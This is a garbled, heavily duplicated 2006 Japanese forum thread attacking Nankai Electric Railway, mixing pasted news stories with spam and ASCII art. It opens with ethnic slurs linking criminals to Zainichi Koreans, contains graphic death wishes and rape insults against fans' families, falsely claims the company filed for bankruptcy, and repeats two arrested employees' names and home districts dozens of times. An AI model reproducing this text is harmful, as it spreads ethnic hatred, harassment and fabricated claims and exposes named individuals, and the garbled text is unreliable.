１４０人以上の女性をレイプ。●金保・・（少女強姦魔の牧師）在日●酒鬼薔薇聖斗・・（東慎一郎・神戸の首切り猟奇小僧）両親とも在日●関根元・・
（埼玉愛犬家殺人犯）在日●郭 明折・・韓国キリスト教の宣教師。連続強姦魔。被害者１００人以上●韓国（南朝鮮半島政府）・・日本領、竹島を不法
占拠。韓流タレントは南朝鮮半島政府の竹島暴挙を支持23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業
23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、
自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら
赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html
432 ：名無しでGO!：2006/07/21(金) 21:48:09 ID:jnXYF9C3O
age
南海はボロい赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
wyxettp://www.vipper.org/vip295926.jpg::::::::::::::::::::::::::::::／）::::::::::::
::（＼:::::::_人／／)::::::::::::::::/＼＼ノ⌒丿／／／ヽ::::::::::::::::ヽ＼＼＿／::
（／／／／::::::::::::::::::::（＼＼＼/:::::::＼ｌ三／／）::::::::::::::::::::::ヽヽ
.ミヽヽ（:::::::;;;;;;;）/二／／::::::::::::::::::::::::: (＼ヽミヽヽ＼＿――￣￣:::
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:::::::::....:+＊+.....:::::::::::::::::赤字南海ヲタ、お前は氏ぬのです次に生まれ変わる
のは、小さな虫けらですその次は、野に生える雑草にその次は、宙をただよう細菌にそしてその
次は…もう二度と人間に生まれる事はありません|赤字南海ヲタぶち込んでくる！＼￣￣￣￣￣
￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣／＿＿＿＿ヽ／￣￣＼||/,−､, -､ｌ/､ヽ|_|-|･|<|||ﾍ |
―-､|,―-､(6＿ｰっ-´､}ｑ-´二ヽ||-⊂)＼ヽ_￣￣ﾉﾉﾉ＿／ー|||￣￣|／（_∧￣/､＼＼|/ヽ｀,.|
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のは、小さな虫けらですその次は、野に生える雑草にその次は、宙をただよう細菌にそしてその
次は…もう二度と人間に生まれる事はありません|赤字南海ヲタぶち込んでくる！＼￣￣￣￣￣
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┴───┐│赤字南海ヲタに注意！.|└───┬┬───┘││南海は赤字！あーあ、南海終わっ
たな南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ
南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ
南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ南海もうだめぽ
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南海もうだめぽ南海もうだめぽ 赤字南海┏┓┏┓┃┃┏━┛┗━┓┃┃┗━┓┏━┛ ┃┃┏━┛┗━┓┃┃
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┗━━┛┗┛┗┛赤字南海ヲタ見かけが池沼っぽかったのに、中身もかよｗ赤字南海ヲタ今すぐ鉄オタやめろ!!!
赤字南海ヲタすげーきもい・・・。つうかグ○このスレには赤字南海ヲタが寄生しとるな。珍作が登場するとスレ
が伸びるなてかまず赤字南海の将来のことを考えるべきだと思う。あーあ、赤字南海終わったな朝からずーっと赤
字南海のサイト見ていた。やっぱ赤字南海は不要だな、南海はぼろいぜ！
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┗━━┛┗┛┗┛赤字南海ヲタ見かけが池沼っぽかったのに、中身もかよｗ赤字南海ヲタ今すぐ鉄オタやめろ!!!
赤字南海ヲタすげーきもい・・・。つうかグ○このスレには赤字南海ヲタが寄生しとるな。珍作が登場するとスレ
が伸びるなてかまず赤字南海の将来のことを考えるべきだと思う。あーあ、赤字南海終わったな朝からずーっと赤
字南海のサイト見ていた。やっぱ赤字南海は不要だな、南海はぼろいぜ！
赤字南海マジかんべん
赤字南海ヲタ見て鉄ｵﾀ辞めたくなった。正直ｷｼｮｲ。
23:59:59なら赤字南海ぼろぼろ
赤字南海ヲタ＝うんこ赤字南海ヲタは氏ね赤字南海ヲタを産んだ母親は車に引かれて死ね
赤字南海ヲタの父親は両腕切り落として血の噴水で見る人を楽しませながら死ね
赤字南海ヲタを産んだ母親？どこかの娼婦だろ何人ものペニスをくわえたどす黒いマンコで奇形児を生んだ
赤字南海ヲタの父親は両腕切り落として血の噴水で見る人を楽しませながら死ね
赤字南海ヲタを産んだ母親？どこかの娼婦だろ何人ものペニスをくわえたどす黒いマンコで奇形児を生んだ
赤字南海ヲタの祖父は冷水に浸かってガタガタ震えながら死んで
赤字南海ヲタに子供が産まれたらまず間違いなく奇形児だろうね
もっともあんなのと交尾してくれる奴なんてクリーチャーしかいないだろうがｗ
赤字南海ヲタの母は高校生時代に３人のチンピラに輪姦されました
赤字南海ヲタが一人死ねばいいんだからよく赤字南海ヲタの母親のような生き物が
結婚できたよね。それが不思議。
赤字南海ヲタに子供が産まれたらまず間違いなく奇形児だろうね
もっともあんなのと交尾してくれる奴なんてクリーチャーしかいないだろうがｗ
赤字南海ヲタの母は高校生時代に３人のチンピラに輪姦されました
赤字南海ヲタが一人死ねばいいんだからよく赤字南海ヲタの母親のような生き物が
結婚できたよね。それが不思議。
赤字南海ヲタの父はダンプカーに轢かれて野良猫のように死ぬこないだ赤字南海ヲタの親父が路上で凍え死んでました
赤字南海ヲタのような人間にはなりたくないな赤字南海ヲタどこ〜？あなたの母親がレイプされてるよー！！
赤字南海ヲタの親は死んで責任取れ
赤字南海ヲタのような人間にはなりたくないな赤字南海ヲタどこ〜？あなたの母親がレイプされてるよー！！
赤字南海ヲタの親は死んで責任取れ
鶚じゃなくて赤字南海ヲタが悪い。それだけ。何かにつけて珍作に反抗したい方もいるからな
赤字南海ヲタ、また来たよ。赤字南海ヲタのレベルの低さがよくわかるスレでつね
赤字南海ヲタ、また来たよ。赤字南海ヲタのレベルの低さがよくわかるスレでつね
赤字南海ヲタは創価が多い
23:59:59なら赤字南海、黒字南海になる
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪
国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、
分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少
申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用
開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」
などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ
減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算
税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海
電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期
損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出し
アスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付け
られたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていない
ことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、
分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少
申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用
開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」
などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ
減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算
税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海
電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期
損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出し
アスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付け
られたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていない
ことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕---------------------------------------------------------------
-----------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は
２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校
１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に
連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園
発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換え
のため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな
行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は
電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったと
いう。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」
と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を
降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し
出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕
された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は
「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
-----------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は
２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校
１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に
連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園
発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換え
のため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな
行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は
電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったと
いう。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」
と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を
降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し
出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕
された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は
「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという
状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を
占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに
尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に
続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・
五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相
変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに
転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、
希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波
地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算
ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結
状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を
占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに
尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に
続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・
五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相
変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに
転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、
希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波
地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算
ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結
での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波
なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市
内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約
一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主
の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会
を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・
大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂
（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定
だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び
戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この
なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市
内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約
一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主
の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会
を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・
大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂
（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定
だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び
戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この
４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が
世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルの
タワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となって
いました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション
計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層
マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配され
ます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明
してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかり
ますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立
大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special
/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！
世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルの
タワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となって
いました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション
計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層
マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配され
ます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明
してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかり
ますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立
大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special
/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！
∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡
三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、
せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタスーパー玉出、赤字南海にTOB
三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、
せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタスーパー玉出、赤字南海にTOB
重複【倒産寸前】南海電気鉄道スレNa77【阪和線にKO】ttp://hobby7.2ch.net/test/read.cgi/rail/1153670093/
南海電鉄、会社更正法申請大手私鉄戦後初www.asahi.com
阪急、南海にTOB
おまえら南海倒産したってのにえらく呑気だなw
あかじなんかい赤字南海ヲタ=アニヲタ南海電鉄、会社更正法申請
大手私鉄戦後初これマジ？]南海って赤字なんかい？23:59:59なら
赤字南海、会社更正法申請撤回
大手私鉄戦後初これマジ？]南海って赤字なんかい？23:59:59なら
赤字南海、会社更正法申請撤回
tigdb6a9c87.tigers-net.com
珍作、複数プロバイダー疑惑？
複数IDで端末数が異常だとは感じていたけど。
珍作、複数プロバイダー疑惑？
複数IDで端末数が異常だとは感じていたけど。
458 ：名無しでGO!：2006/07/25(火) 21:31:00 ID:Ly4O4KknO
age
459 ：名無しでGO!：2006/07/26(水) 01:08:28 ID:ZZMhfZvQ0
運転士と車掌が有馬温泉のホテルのトイレでコンパニオンを強姦！
ttp://news19.2ch.net/test/read.cgi/newsplus/1153818467/l50南海の運転士と車掌が女性をトイレに押し込めいたずら・・・逮捕されるコンパニオンの女性をトイレに閉じ
込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝
和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会
に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci
監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘
（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也
（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野
敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多
信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌
喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士
上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌
込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝
和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会
に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci
監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘
（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也
（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘南海電鉄の車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘南海電鉄の運転士上野
